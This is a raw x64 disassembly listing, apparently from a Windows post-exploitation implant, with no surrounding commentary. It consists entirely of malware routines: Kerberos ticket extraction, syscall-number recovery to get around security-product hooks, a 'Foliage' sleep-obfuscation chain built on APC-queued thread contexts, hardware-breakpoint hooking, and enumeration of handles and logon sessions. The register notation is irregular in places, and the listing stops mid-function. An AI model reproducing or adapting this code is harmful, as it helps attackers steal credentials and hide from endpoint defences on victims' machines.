140012fc8je 0x140013000
140012fcasub rsp, 40
140012fcemov r9, rcx
140012fd1call StringLengthW
140012fd6mov rcx, rdx
140012fd9mov r8, rax
140012fdccall StringLengthW
140012fe1xor ecx, ecx
140012fe3cmp r8l, eax
140012fe6jb 0x140013003
140012fe8sub r8l, eax
140012febadd r8, r8
140012feelea rcx, [r9+r8]
140012ff2call StringCompareIW
140012ff7xor ecx, ecx
140012ff9test eax, eax
140012ffbsete cl
140012ffejmp 0x140013003
140013000
140013000loc_140013000:
140013000xor eax, eax
140013002ret
140013003
140013003loc_140013003:
140013003mov eax, ecx
140013005add rsp, 40
140013009ret
140012fc0

14001300a
14001300a // align 0x10

140013010
140013010EventSet:
140013010sub rsp, 40
140013014mov rax, [rip+0x19355]
14001301bxor edx, edx
14001301dcall [rax+460]
140013023add rsp, 40
140013027not eax
140013029shr eax, 31
14001302cret
140013010

14001302d
14001302d // align 0x10

140013030
140013030ExceptionHandler:
140013030push rdi
140013031lea rdi, [rip+0x19598]
140013038mov r8l, 326
14001303epush rsi
14001303fmov rdx, rdi
140013042mov rsi, rcx
140013045push rbx
140013046sub rsp, 32
14001304amov rax, [rcx]
14001304dlea rcx, [rip+0x14f2c]
140013054mov r9, [rax+16]
140013058call printf
14001305dmov rax, [rsi]
140013060mov rdx, rdi
140013063mov r8l, 327
140013069lea rcx, [rip+0x14f37]
140013070mov r9l, [rax]
140013073call printf
140013078mov rax, [rsi]
14001307bcmp [rax], 0xffffffff80000004
140013081je 0x140013087
140013083
140013083loc_140013083:
140013083xor eax, eax
140013085jmp 0x140013102
140013087
140013087loc_140013087:
140013087mov rdx, [rip+0x192e2]
14001308emov rdx, [rdx+2342]
140013095mov rbx, [rdx+16]
140013099
140013099loc_140013099:
140013099test rbx, rbx
14001309cje 0x1400130e4
14001309emov rdx, [rbx+8]
1400130a2cmp rdx, [rax+16]
1400130a6jne 0x1400130de
1400130a8movzx r8l, [rbx+24]
1400130admov ecx, [rbx]
1400130afxor r9l, r9l
1400130b2call HwBpEngineSetBp
1400130b7mov rcx, rsi
1400130bacall [rbx+16]
1400130bdlea r9, [rip+0x14f0a]
1400130c4mov r8l, 357
1400130camov rdx, rdi
1400130cdlea rcx, [rip+0x14eff]
1400130d4call printf
1400130d9or eax, -1
1400130dcjmp 0x140013102
1400130de
1400130deloc_1400130de:
1400130demov rbx, [rbx+32]
1400130e2jmp 0x140013099
1400130e4
1400130e4loc_1400130e4:
1400130e4lea r9, [rip+0x14f15]
1400130ebmov r8l, 357
1400130f1mov rdx, rdi
1400130f4lea rcx, [rip+0x14ed8]
1400130fbcall printf
140013100jmp 0x140013083
140013102
140013102loc_140013102:
140013102add rsp, 32
140013106pop rbx
140013107pop rsi
140013108pop rdi
140013109ret
140013030

14001310a
14001310a // align 0x10

140013110
140013110ExtractTicket:
140013110push rbp
140013111mov rbp, rsp
140013114push r15
140013116mov r15, r8
140013119push r14
14001311bmov r14l, edx
14001311exor edx, edx
140013120push r13
140013122mov r13, rcx
140013125mov ecx, 64
14001312apush r12
14001312cpush rdi
14001312dpush rsi
14001312epush rbx
14001312fand rsp, -16
140013133sub rsp, 96
140013137mov rdi, [r9]
14001313amov r12, [rip+0x1922f]
140013141mov [rsp+88], rdx
140013146mov rsi, [r9+8]
14001314amov edx, edi
14001314cmov rax, rdi
14001314fmov [rsp+84], 0xffffffffc0000001
140013157shr edx, 16
14001315ashr rax, 16
14001315eadd edx, 64
140013161mov [rsp+72], rax
140013166mov [rsp+80], edx
14001316ashl rdx, 6
14001316ecall [r12+932]
140013176test rax, rax
140013179je 0x14001326c
14001317fmov [rax+4], r15
140013183mov rbx, rax
140013186movzx ecx, [rsp+72]
14001318bmov edx, r14l
14001318emov [rax], 8
140013194mov eax, 1
140013199mov r8, rbx
14001319cshl rax, 35
1400131a0mov [rbx+16], rdi
1400131a4mov [rbx+32], rax
1400131a8xor eax, eax
1400131aamov [rbx+40], eax
1400131adlea rax, [rbx+64]
1400131b1mov [rbx+24], rax
1400131b5mov rdi, rax
1400131b8lea rax, [rsp+84]
1400131bdrep movsb [rdi], [rsi]
1400131bfmov [rsp+48], rax
1400131c4lea rax, [rsp+80]
1400131c9mov rcx, r13
1400131ccmov [rsp+40], rax
1400131d1lea rax, [rsp+88]
1400131d6mov r9l, [rsp+80]
1400131dbmov [rsp+32], rax
1400131e0call [r12+1956]
1400131e8mov r9l, eax
1400131ebor eax, [rsp+84]
1400131efjs 0x140013236
1400131f1mov rax, [rsp+88]
1400131f6mov ecx, 64
1400131fbmov r13l, [rax+136]
140013202mov rdx, r13
140013205call [r12+932]
14001320dtest rax, rax
140013210je 0x14001324f
140013212mov rdx, [rsp+88]
140013217mov rdi, rax
14001321amov rcx, r13
14001321dmov rsi, [rdx+144]
140013224mov rdx, [rbp+48]
140013228rep movsb [rdi], [rsi]
14001322amov [rdx], rax
14001322dmov rax, [rbp+56]
140013231mov [rax], r13l
140013234jmp 0x14001324f
140013236
140013236loc_140013236:
140013236mov r8l, 328
14001323clea rdx, [rip+0x19d7d]
140013243lea rcx, [rip+0x1512f]
14001324acall printf
14001324f
14001324floc_14001324f:
14001324fmov rcx, [rsp+88]
140013254test rcx, rcx
140013257je 0x140013261
140013259call [r12+2012]
140013261
140013261loc_140013261:
140013261mov rcx, rbx
140013264call [r12+940]
14001326c
14001326cloc_14001326c:
14001326clea rsp, [rbp-56]
140013270pop rbx
140013271pop rsi
140013272pop rdi
140013273pop r12
140013275pop r13
140013277pop r14
140013279pop r15
14001327bpop rbp
14001327cret
140013110

14001327d
14001327d // align 0x10

140013280
140013280FindGadget:
140013280push rbp
140013281mov edx, edx
140013283lea rbp, [rip+0x15ec6]
14001328apush rdi
14001328bpush rsi
14001328clea rsi, [rcx+rdx]
140013290push rbx
140013291mov rbx, rcx
140013294sub rsp, 40
140013298
140013298loc_140013298:
140013298cmp rbx, rsi
14001329bje 0x1400132ba
14001329dmov rcx, rbx
1400132a0mov r8l, 2
1400132a6mov rdx, rbp
1400132a9mov rdi, rbx
1400132accall MemCompare
1400132b1inc rbx
1400132b4test eax, eax
1400132b6jne 0x140013298
1400132b8jmp 0x1400132bc
1400132ba
1400132baloc_1400132ba:
1400132baxor edi, edi
1400132bc
1400132bcloc_1400132bc:
1400132bcadd rsp, 40
1400132c0mov rax, rdi
1400132c3pop rbx
1400132c4pop rsi
1400132c5pop rdi
1400132c6pop rbp
1400132c7ret
140013280

1400132c8
1400132c8 // align 0x10

1400132d0
1400132d0FindSsnOfHookedSyscall:
1400132d0push r14
1400132d2mov r9, rcx
1400132d5mov r8l, 209
1400132dbpush r13
1400132ddpush r12
1400132dfmov r12, rdx
1400132e2push rbp
1400132e3push rdi
1400132e4mov rdi, rcx
1400132e7lea rcx, [rip+0x16132]
1400132eepush rsi
1400132efpush rbx
1400132f0lea rbx, [rip+0x193b9]
1400132f7mov rdx, rbx
1400132fasub rsp, 48
1400132femov [rsp+46], 0
140013305call printf
14001330acall GetSyscallSize
14001330ftest eax, eax
140013311jne 0x140013331
140013313lea r9, [rip+0x1617e]
14001331amov r8l, 212
140013320mov rdx, rbx
140013323lea rcx, [rip+0x1619d]
14001332acall printf
14001332fjmp 0x140013396
140013331
140013331loc_140013331:
140013331mov esi, eax
140013333mov ebp, eax
140013335lea r13, [rsp+46]
14001333amov ebx, 1
14001333f
14001333floc_14001333f:
14001333fmov r14l, ebp
140013342xor r9l, r9l
140013345xor edx, edx
140013347mov r8, r13
14001334alea rcx, [rdi+r14]
14001334ecall SysExtract
140013353test eax, eax
140013355je 0x140013360
140013357mov ax, [rsp+46]
14001335csub eax, ebx
14001335ejmp 0x14001337e
140013360
140013360loc_140013360:
140013360mov rcx, rdi
140013363xor r9l, r9l
140013366xor edx, edx
140013368mov r8, r13
14001336bsub rcx, r14
14001336ecall SysExtract
140013373test eax, eax
140013375je 0x14001338a
140013377mov ax, [rsp+46]
14001337cadd eax, ebx
14001337e
14001337eloc_14001337e:
14001337emov [r12], ax
140013383mov eax, 1
140013388jmp 0x140013398
14001338a
14001338aloc_14001338a:
14001338ainc ebx
14001338cadd ebp, esi
14001338ecmp ebx, 500
140013394jne 0x14001333f
140013396
140013396loc_140013396:
140013396xor eax, eax
140013398
140013398loc_140013398:
140013398add rsp, 48
14001339cpop rbx
14001339dpop rsi
14001339epop rdi
14001339fpop rbp
1400133a0pop r12
1400133a2pop r13
1400133a4pop r14
1400133a6ret
1400132d0

1400133a7
1400133a7 // align 0x10

1400133b0
1400133b0FoliageObf:
1400133b0push r15
1400133b2push r14
1400133b4xor r14l, r14l
1400133b7push r13
1400133b9push r12
1400133bbpush rbp
1400133bcpush rdi
1400133bdpush rsi
1400133bepush rbx
1400133bfsub rsp, 296
1400133c6mov [rsp+240], r14
1400133cemov [rsp+248], r14
1400133d6mov [rsp+256], r14
1400133demov [rsp+264], r14
1400133e6mov [rsp+272], r14
1400133eemov [rsp+280], r14
1400133f6mov [rsp+176], r14
1400133femov [rsp+184], r14
140013406mov [rsp+192], r14
14001340emov [rsp+232], r14
140013416mov r14, [rip+0x18f53]
14001341dmov [rsp+368], rcx
140013425mov rdx, [r14+44]
140013429mov eax, [r14+52]
14001342dmov [rsp+172], 64
140013438mov rcx, [r14+56]
14001343cmov [rsp+200], rdx
140013444mov [rsp+208], rax
14001344ctest rcx, rcx
14001344fje 0x14001346b
140013451mov r8l, [r14+64]
140013455test r8l, r8l
140013458je 0x14001346b
14001345amov [rsp+172], 32
140013465mov eax, r8l
140013468mov rdx, rcx
14001346b
14001346bloc_14001346b:
14001346bmov [rsp+216], rdx
140013473xor ebx, ebx
140013475mov [rsp+224], rax
14001347d
14001347dloc_14001347d:
14001347dcall RandomNumber32
140013482mov edx, eax
140013484lea rax, [rsp+272]
14001348cmov [rsp+rbx+272], dl
140013493inc rbx
140013496cmp rbx, 16
14001349ajne 0x14001347d
14001349cmov [rsp+248], rax
1400134a4xor r13l, r13l
1400134a7mov rax, 0x1000000010
1400134b1xor r8l, r8l
1400134b4mov [rsp+32], r13l
1400134b9lea rcx, [rsp+176]
1400134c1mov edx, 0x1f0003
1400134c6mov r9l, 1
1400134ccmov [rsp+240], rax
1400134d4mov rax, [rsp+200]
1400134dcmov [rsp+264], rax
1400134e4mov rax, [rsp+208]
1400134ecmov [rsp+260], eax
1400134f3mov [rsp+256], eax
1400134facall SysNtCreateEvent
1400134fftest eax, eax
140013501js 0x140013f7e
140013507xor edi, edi
140013509xor ebp, ebp
14001350bxor r12l, r12l
14001350emov [rsp+48], 1
140013516mov [rsp+80], rdi
14001351bor r9, -1
14001351fxor r8l, r8l
140013522lea rcx, [rsp+184]
14001352amov [rsp+72], 0x14000
140013533mov edx, 0x1fffff
140013538mov [rsp+64], 0x14000
140013541mov [rsp+56], rbp
140013546mov [rsp+40], r12
14001354bmov rax, [r14+228]
140013552mov [rsp+32], rax
140013557call SysNtCreateThreadEx
14001355ctest eax, eax
14001355ejs 0x140013f7e
140013564mov edx, 1232
140013569mov ecx, 64
14001356exor esi, esi
140013570call [r14+932]
140013577mov edx, 1232
14001357cmov ecx, 64
140013581mov [rsp+104], rax
140013586call [r14+932]
14001358dmov edx, 1232
140013592mov ecx, 64
140013597mov [rsp+160], rax
14001359fcall [r14+932]
1400135a6mov edx, 1232
1400135abmov ecx, 64
1400135b0mov [rsp+144], rax
1400135b8call [r14+932]
1400135bfmov edx, 1232
1400135c4mov ecx, 64
1400135c9mov rbp, rax
1400135cccall [r14+932]
1400135d3mov edx, 1232
1400135d8mov ecx, 64
1400135ddmov rbx, rax
1400135e0call [r14+932]
1400135e7mov edx, 1232
1400135ecmov ecx, 64
1400135f1mov [rsp+128], rax
1400135f9call [r14+932]
140013600mov edx, 1232
140013605mov ecx, 64
14001360amov [rsp+136], rax
140013612call [r14+932]
140013619mov edx, 1232
14001361emov ecx, 64
140013623mov r15, rax
140013626call [r14+932]
14001362dmov edx, 1232
140013632mov ecx, 64
140013637mov r12, rax
14001363acall [r14+932]
140013641mov edx, 1232
140013646mov ecx, 64
14001364bmov [rsp+112], rax
140013650call [r14+932]
140013657mov edx, 1232
14001365cmov ecx, 64
140013661mov r13, rax
140013664call [r14+932]
14001366bmov edx, 1232
140013670mov ecx, 64
140013675mov [rsp+120], rax
14001367acall [r14+932]
140013681or r8, -1
140013685or rcx, -1
140013689lea r9, [rsp+192]
140013691mov [rsp+152], rax
140013699mov rax, [rsp+104]
14001369emov rdx, -2
1400136a5mov [rax+48], 0x10000b
1400136acmov rax, [rsp+160]
1400136b4mov [rax+48], 0x10000b
1400136bbmov rax, [rsp+144]
1400136c3mov [rax+48], 0x10000b
1400136camov rax, [rsp+128]
1400136d2mov [rbp+48], 0x10000b
1400136d9mov [rbx+48], 0x10000b
1400136e0mov [rax+48], 0x10000b
1400136e7mov rax, [rsp+136]
1400136efmov [rax+48], 0x10000b
1400136f6mov rax, [rsp+112]
1400136fbmov [r15+48], 0x10000b
140013703mov [r12+48], 0x10000b
14001370cmov [rax+48], 0x10000b
140013713mov rax, [rsp+120]
140013718mov [r13+48], 0x10000b
140013720mov [rax+48], 0x10000b
140013727mov rax, [rsp+152]
14001372fmov [rax+48], 0x10000b
140013736mov [rsp+48], esi
14001373amov [rsp+40], esi
14001373emov [rsp+32], 0x1fffff
140013746call SysNtDuplicateObject
14001374btest eax, eax
14001374djs 0x140013e04
140013753mov rdx, [rsp+104]
140013758mov rcx, [rsp+184]
140013760call [r14+588]
140013767test eax, eax
140013769js 0x140013e04
14001376fmov rsi, [rsp+104]
140013774mov ecx, 308
140013779mov rdi, rbp
14001377cxor r10l, r10l
14001377frep movsd [rdi], [rsi]
140013781mov rsi, [rsp+104]
140013786mov ecx, 308
14001378bmov rdi, rbx
14001378elea r8, [rsp+256]
140013796xor r11l, r11l
140013799rep movsd [rdi], [rsi]
14001379bmov rdi, [rsp+128]
1400137a3mov rsi, [rsp+104]
1400137a8mov ecx, 308
1400137adrep movsd [rdi], [rsi]
1400137afmov rdi, [rsp+136]
1400137b7mov rsi, [rsp+104]
1400137bcmov ecx, 308
1400137c1rep movsd [rdi], [rsi]
1400137c3mov rsi, [rsp+104]
1400137c8mov ecx, 308
1400137cdmov rdi, r15
1400137d0rep movsd [rdi], [rsi]
1400137d2mov rsi, [rsp+104]
1400137d7mov ecx, 308
1400137dcmov rdi, r12
1400137dfrep movsd [rdi], [rsi]
1400137e1mov rdi, [rsp+112]
1400137e6mov rsi, [rsp+104]
1400137ebmov ecx, 308
1400137f0rep movsd [rdi], [rsi]
1400137f2mov rsi, [rsp+104]
1400137f7mov ecx, 308
1400137fcmov rdi, r13
1400137ffrep movsd [rdi], [rsi]
140013801mov rdi, [rsp+120]
140013806mov rsi, [rsp+104]
14001380bmov ecx, 308
140013810rep movsd [rdi], [rsi]
140013812mov rdi, [rsp+152]
14001381amov ecx, 308
14001381fmov rsi, [rsp+104]
140013824rep movsd [rdi], [rsi]
140013826mov [rbp+48], 0x10000b
14001382dmov rsi, [rsp+128]
140013835mov rax, [r14+620]
14001383cmov [rbp+248], rax
140013843mov rax, [rbp+152]
14001384alea rdx, [rax-53248]
140013851mov [rbp+152], rdx
140013858mov rdx, [rsp+176]
140013860mov [rbp+128], rdx
140013867xor edx, edx
140013869mov [rbp+136], rdx
140013870mov [rbp+184], rdx
140013877mov rdx, [r14+628]
14001387emov [rax-53248], rdx
140013885mov rax, [r14+676]
14001388cmov [rbx+48], 0x10000b
140013893mov [rbx+248], rax
14001389amov rax, [rbx+152]
1400138a1mov [rbx+128], -1
1400138aclea rdx, [rax-49152]
1400138b3mov [rbx+192], 4
1400138bemov [rbx+152], rdx
1400138c5lea rdx, [rsp+200]
1400138cdmov [rbx+136], rdx
1400138d4lea rdx, [rsp+208]
1400138dcmov [rbx+184], rdx
1400138e3mov rdx, [r14+628]
1400138eamov [rax-49152], rdx
1400138f1lea rdx, [rsp+232]
1400138f9mov [rax-49112], rdx
140013900mov rax, [rsp+128]
140013908mov [rax+48], 0x10000b
14001390fmov rax, [r14+1372]
140013916mov [rsi+248], rax
14001391dmov rax, [rsi+152]
140013924lea rcx, [rax-45056]
14001392bmov [rsi+152], rcx
140013932mov r9, [r14+628]
140013939lea rcx, [rsp+240]
140013941mov [rsi+128], r8
140013948mov rdi, [rsp+160]
140013950mov [rsi+136], rcx
140013957mov rsi, [rsp+136]
14001395fmov [rax-45056], r9
140013966mov rax, [rsp+136]
14001396emov [rax+48], 0x10000b
140013975mov rax, [r14+588]
14001397cmov [rsi+136], rdi
140013983mov [rsi+248], rax
14001398amov rax, [rsi+152]
140013991lea r9, [rax-40960]
140013998mov [rsi+152], r9
14001399fmov r9, [rsp+192]
1400139a7mov [rsi+128], r9
1400139aemov r9, [r14+628]
1400139b5mov rsi, [rsp+144]
1400139bdmov [rax-40960], r9
1400139c4mov rax, [r14+596]
1400139cbmov [r15+48], 0x10000b
1400139d3mov [r15+248], rax
1400139damov rax, [r15+152]
1400139e1mov [r15+136], rsi
1400139e8lea r9, [rax-36864]
1400139efmov [r15+152], r9
1400139f6mov r9, [rsp+192]
1400139femov [r15+128], r9
140013a05mov r9, [r14+628]
140013a0cmov [rax-36864], r9
140013a13mov rax, [r14+1692]
140013a1amov [r12+48], 0x10000b
140013a23mov [r12+248], rax
140013a2bmov rax, [r12+152]
140013a33lea r9, [rax-32768]
140013a3amov [r12+152], r9
140013a42mov r9, [rsp+192]
140013a4amov rsi, [rsp+368]
140013a52mov [r12+128], r9
140013a5axor r9l, r9l
140013a5dmov edi, [rsi]
140013a5fmov rsi, [rsp+112]
140013a64mov [r12+184], r9
140013a6cmov r9, [r14+628]
140013a73mov [r12+136], rdi
140013a7bmov [rax-32768], r9
140013a82mov rax, [rsp+112]
140013a87mov [rax+48], 0x10000b
140013a8emov rax, [r14+1372]
140013a95mov [rsi+136], rcx
140013a9cmov rcx, [r14+628]
140013aa3mov [rsi+248], rax
140013aaamov rax, [rsi+152]
140013ab1mov [rsi+128], r8
140013ab8mov r8, rbp
140013abblea r9, [rax-28672]
140013ac2mov [rsi+152], r9
140013ac9mov esi, [rsp+172]
140013ad0xor r9l, r9l
140013ad3mov [rax-28672], rcx
140013adamov rax, [r14+676]
140013ae1mov [r13+48], 0x10000b
140013ae9mov [r13+248], rax
140013af0mov rax, [r13+152]
140013af7mov [r13+192], rsi
140013afelea rcx, [rax-24576]
140013b05mov [r13+128], -1
140013b10mov [r13+152], rcx
140013b17lea rcx, [rsp+216]
140013b1fmov [r13+136], rcx
140013b26lea rcx, [rsp+224]
140013b2emov [r13+184], rcx
140013b35mov rcx, [r14+628]
140013b3cmov [rax-24536], rdx
140013b43mov [rax-24576], rcx
140013b4amov rax, [rsp+120]
140013b4fmov rsi, [rsp+120]
140013b54mov [rax+48], 0x10000b
140013b5bmov rax, [r14+596]
140013b62mov rdi, rsi
140013b65mov [rsi+248], rax
140013b6cmov rax, [rsi+152]
140013b73lea rdx, [rax-20480]
140013b7amov [rsi+152], rdx
140013b81mov rdx, [rsp+192]
140013b89mov [rsi+128], rdx
140013b90mov rdx, [r14+628]
140013b97mov rsi, [rsp+160]
140013b9fmov [rdi+136], rsi
140013ba6mov rdi, [rsp+152]
140013baemov [rax-20480], rdx
140013bb5mov rax, [rsp+152]
140013bbdmov rdx, [r14+628]
140013bc4mov [rax+48], 0x10000b
140013bcbmov rax, [r14+364]
140013bd2sub [rdi+152], 16384
140013bddmov [rdi+248], rax
140013be4mov rax, [rbp+152]
140013bebmov [rdi+128], r10
140013bf2mov [rax], rdx
140013bf5mov rdx, [r14+692]
140013bfcmov [rsp+32], r11
140013c01mov rcx, [rsp+184]
140013c09call SysNtQueueApcThread
140013c0etest eax, eax
140013c10js 0x140013e04
140013c16xor eax, eax
140013c18mov rdx, [r14+692]
140013c1fxor r9l, r9l
140013c22mov r8, rbx
140013c25mov [rsp+32], rax
140013c2amov rcx, [rsp+184]
140013c32call SysNtQueueApcThread
140013c37test eax, eax
140013c39js 0x140013e04
140013c3fxor eax, eax
140013c41mov rdx, [r14+692]
140013c48xor r9l, r9l
140013c4bmov r8, [rsp+128]
140013c53mov [rsp+32], rax
140013c58mov rcx, [rsp+184]
140013c60call SysNtQueueApcThread
140013c65test eax, eax
140013c67js 0x140013e04
140013c6dxor eax, eax
140013c6fmov rdx, [r14+692]
140013c76xor r9l, r9l
140013c79mov r8, [rsp+136]
140013c81mov [rsp+32], rax
140013c86mov rcx, [rsp+184]
140013c8ecall SysNtQueueApcThread
140013c93test eax, eax
140013c95js 0x140013e04
140013c9bxor eax, eax
140013c9dmov rdx, [r14+692]
140013ca4xor r9l, r9l
140013ca7mov r8, r15
140013caamov [rsp+32], rax
140013cafmov rcx, [rsp+184]
140013cb7call SysNtQueueApcThread
140013cbctest eax, eax
140013cbejs 0x140013e04
140013cc4mov r14, [rip+0x186a5]
140013ccbxor eax, eax
140013ccdxor r9l, r9l
140013cd0mov r8, r12
140013cd3mov rcx, [rsp+184]
140013cdbmov rdx, [r14+692]
140013ce2mov [rsp+32], rax
140013ce7call SysNtQueueApcThread
140013cectest eax, eax
140013ceejs 0x140013e04
140013cf4xor edi, edi
140013cf6mov r8, [rsp+112]
140013cfbxor r9l, r9l
140013cfemov rdx, [r14+692]
140013d05mov [rsp+32], rdi
140013d0amov rcx, [rsp+184]
140013d12call SysNtQueueApcThread
140013d17test eax, eax
140013d19js 0x140013e04
140013d1fxor esi, esi
140013d21mov rdx, [r14+692]
140013d28xor r9l, r9l
140013d2bmov r8, r13
140013d2emov [rsp+32], rsi
140013d33mov rcx, [rsp+184]
140013d3bcall SysNtQueueApcThread
140013d40test eax, eax
140013d42js 0x140013e04
140013d48xor r11l, r11l
140013d4bmov r8, [rsp+120]
140013d50xor r9l, r9l
140013d53mov rdx, [r14+692]
140013d5amov [rsp+32], r11
140013d5fmov rcx, [rsp+184]
140013d67call SysNtQueueApcThread
140013d6ctest eax, eax
140013d6ejs 0x140013e04
140013d74xor r10l, r10l
140013d77mov rdx, [r14+692]
140013d7exor r9l, r9l
140013d81mov r8, [rsp+152]
140013d89mov [rsp+32], r10
140013d8emov rcx, [rsp+184]
140013d96call SysNtQueueApcThread
140013d9btest eax, eax
140013d9djs 0x140013e04
140013d9fmov rcx, [rsp+184]
140013da7xor edx, edx
140013da9call SysNtAlertResumeThread
140013daetest eax, eax
140013db0js 0x140013e04
140013db2mov rax, [rsp+144]
140013dbaxor r9l, r9l
140013dbdxor r8l, r8l
140013dc0mov rsi, [rsp+144]
140013dc8mov rdx, [rsp+184]
140013dd0mov rcx, [rsp+176]
140013dd8mov [rax+48], 0x10000b
140013ddfmov rax, [r14+1692]
140013de6mov [rsi+248], rax
140013dedmov rax, [r14+2230]
140013df4mov rax, [rax+8]
140013df8mov [rsi+152], rax
140013dffcall SysNtSignalAndWaitForSingleObject
140013e04
140013e04loc_140013e04:
140013e04mov rdi, [rip+0x18565]
140013e0bmov rcx, [rsp+152]
140013e13call [rdi+940]
140013e19mov rcx, [rsp+120]
140013e1ecall [rdi+940]
140013e24test r13, r13
140013e27je 0x140013e32
140013e29mov rcx, r13
140013e2ccall [rdi+940]
140013e32
140013e32loc_140013e32:
140013e32cmp [rsp+112], 0
140013e38mov r13, [rip+0x18531]
140013e3fje 0x140013e4d
140013e41mov rcx, [rsp+112]
140013e46call [r13+940]
140013e4d
140013e4dloc_140013e4d:
140013e4dtest r12, r12
140013e50je 0x140013e5c
140013e52mov rcx, r12
140013e55call [r13+940]
140013e5c
140013e5cloc_140013e5c:
140013e5ctest r15, r15
140013e5fje 0x140013e6b
140013e61mov rcx, r15
140013e64call [r13+940]
140013e6b
140013e6bloc_140013e6b:
140013e6btest rbx, rbx
140013e6eje 0x140013e7a
140013e70mov rcx, rbx
140013e73call [r13+940]
140013e7a
140013e7aloc_140013e7a:
140013e7atest rbp, rbp
140013e7dje 0x140013e89
140013e7fmov rcx, rbp
140013e82call [r13+940]
140013e89
140013e89loc_140013e89:
140013e89cmp [rsp+144], 0
140013e92je 0x140013ea3
140013e94mov rcx, [rsp+144]
140013e9ccall [r13+940]
140013ea3
140013ea3loc_140013ea3:
140013ea3cmp [rsp+160], 0
140013eacje 0x140013ebd
140013eaemov rcx, [rsp+160]
140013eb6call [r13+940]
140013ebd
140013ebdloc_140013ebd:
140013ebdcmp [rsp+104], 0
140013ec3je 0x140013ed1
140013ec5mov rcx, [rsp+104]
140013ecacall [r13+940]
140013ed1
140013ed1loc_140013ed1:
140013ed1mov rcx, [rsp+192]
140013ed9test rcx, rcx
140013edcje 0x140013eee
140013edecall SysNtClose
140013ee3xor r9l, r9l
140013ee6mov [rsp+192], r9
140013eee
140013eeeloc_140013eee:
140013eeemov rcx, [rsp+184]
140013ef6test rcx, rcx
140013ef9je 0x140013f0d
140013efbxor edx, edx
140013efdcall SysNtTerminateThread
140013f02xor r8l, r8l
140013f05mov [rsp+184], r8
140013f0d
140013f0dloc_140013f0d:
140013f0dmov rcx, [rsp+176]
140013f15test rcx, rcx
140013f18je 0x140013f29
140013f1acall SysNtClose
140013f1fxor ecx, ecx
140013f21mov [rsp+176], rcx
140013f29
140013f29loc_140013f29:
140013f29mov edx, 16
140013f2exor eax, eax
140013f30lea rdi, [rsp+256]
140013f38mov rcx, rdx
140013f3brep stosb [rdi], al
140013f3dlea rdi, [rsp+240]
140013f45mov rcx, rdx
140013f48rep stosb [rdi], al
140013f4alea rdi, [rsp+272]
140013f52mov rcx, rdx
140013f55rep stosb [rdi], al
140013f57mov rax, [rsp+368]
140013f5fmov rcx, [rax+4]
140013f63call [r13+1508]
140013f6aadd rsp, 296
140013f71pop rbx
140013f72pop rsi
140013f73pop rdi
140013f74pop rbp
140013f75pop r12
140013f77pop r13
140013f79pop r14
140013f7bpop r15
140013f7dret
140013f7e
140013f7eloc_140013f7e:
140013f7exor edx, edx
140013f80xor eax, eax
140013f82xor r12l, r12l
140013f85xor ebp, ebp
140013f87mov [rsp+112], rax
140013f8cxor ebx, ebx
140013f8exor r15l, r15l
140013f91mov [rsp+104], rdx
140013f96mov [rsp+160], rdx
140013f9emov [rsp+144], rdx
140013fa6jmp 0x140013e32
1400133b0

140013fab
140013fab // align 0x10

140013fb0
140013fb0GetAllHandles:
140013fb0push r14
140013fb2push r13
140013fb4mov r13, rcx
140013fb7mov ecx, 64
140013fbcpush r12
140013fbemov r12, rdx
140013fc1mov edx, 32
140013fc6push rbp
140013fc7push rdi
140013fc8push rsi
140013fc9mov esi, 32
140013fcepush rbx
140013fcfsub rsp, 48
140013fd3mov rbp, [rip+0x18396]
140013fdamov [rsp+44], 32
140013fe2lea r14, [rsp+44]
140013fe7call [rbp+932]
140013fedmov rbx, rax
140013ff0
140013ff0loc_140013ff0:
140013ff0mov r8l, [rsp+44]
140013ff5mov r9, r14
140013ff8mov rdx, rbx
140013ffbmov ecx, 16
140014000call SysNtQuerySystemInformation
140014005cmp eax, 0xffffffffc0000004
14001400ajne 0x14001403a
14001400ctest rbx, rbx
14001400fje 0x140014023
140014011mov ecx, esi
140014013mov rdi, rbx
140014016xor eax, eax
140014018rep stosb [rdi], al
14001401amov rcx, rbx
14001401dcall [rbp+940]
140014023
140014023loc_140014023:
140014023mov edx, [rsp+44]
140014027mov ecx, 64
14001402cmov rsi, rdx
14001402fcall [rbp+932]
140014035mov rbx, rax
140014038jmp 0x140013ff0
14001403a
14001403aloc_14001403a:
14001403atest eax, eax
14001403cjs 0x140014051
14001403emov eax, [rsp+44]
140014042mov [r13], rbx
140014046mov [r12], eax
14001404amov eax, 1
14001404fjmp 0x140014070
140014051
140014051loc_140014051:
140014051test rbx, rbx
140014054jne 0x14001405a
140014056
140014056loc_140014056:
140014056xor eax, eax
140014058jmp 0x140014070
14001405a
14001405aloc_14001405a:
14001405amov ecx, [rsp+44]
14001405emov rdi, rbx
140014061xor eax, eax
140014063rep stosb [rdi], al
140014065mov rcx, rbx
140014068call [rbp+940]
14001406ejmp 0x140014056
140014070
140014070loc_140014070:
140014070add rsp, 48
140014074pop rbx
140014075pop rsi
140014076pop rdi
140014077pop rbp
140014078pop r12
14001407apop r13
14001407cpop r14
14001407eret
140013fb0

14001407f
14001407f // align 0x10

140014080
140014080GetLUID:
140014080push rdi
140014081xor eax, eax
140014083mov r10, rcx
140014086mov ecx, 14
14001408bsub rsp, 112
14001408flea rdi, [rsp+56]
140014094rep stosd [rdi], eax
140014096xor eax, eax
140014098mov [rsp+52], eax
14001409ctest r10, r10
14001409fje 0x1400140e4
1400140a1mov rdi, [rip+0x182c8]
1400140a8lea rax, [rsp+52]
1400140admov r9l, 56
1400140b3mov rcx, r10
1400140b6mov [rsp+32], rax
1400140bblea r8, [rsp+56]
1400140c0mov edx, 10
1400140c5call [rdi+1340]
1400140cbtest eax, eax
1400140cdje 0x1400140e4
1400140cfmov edx, 8
1400140d4mov ecx, 64
1400140d9call [rdi+932]
1400140dftest rax, rax
1400140e2jne 0x1400140e8
1400140e4
1400140e4loc_1400140e4:
1400140e4xor eax, eax
1400140e6jmp 0x1400140f5
1400140e8
1400140e8loc_1400140e8:
1400140e8mov edx, [rsp+68]
1400140ecmov [rax+4], edx
1400140efmov edx, [rsp+64]
1400140f3mov [rax], edx
1400140f5
1400140f5loc_1400140f5:
1400140f5add rsp, 112
1400140f9pop rdi
1400140faret
140014080

1400140fb
1400140fb // align 0x10

140014100
140014100GetLogonSessionData:
140014100push r14
140014102push r13
140014104push r12
140014106mov r12, rdx
140014109mov edx, 16
14001410epush rbp
14001410fpush rdi
140014110push rsi
140014111push rbx
140014112mov ebx, 0xffffffffc0000001
140014117sub rsp, 64
14001411bmov rdi, [rip+0x1824e]
140014122mov [rsp+128], rcx
14001412axor ecx, ecx
14001412cmov [rsp+40], rcx
140014131mov ecx, 64
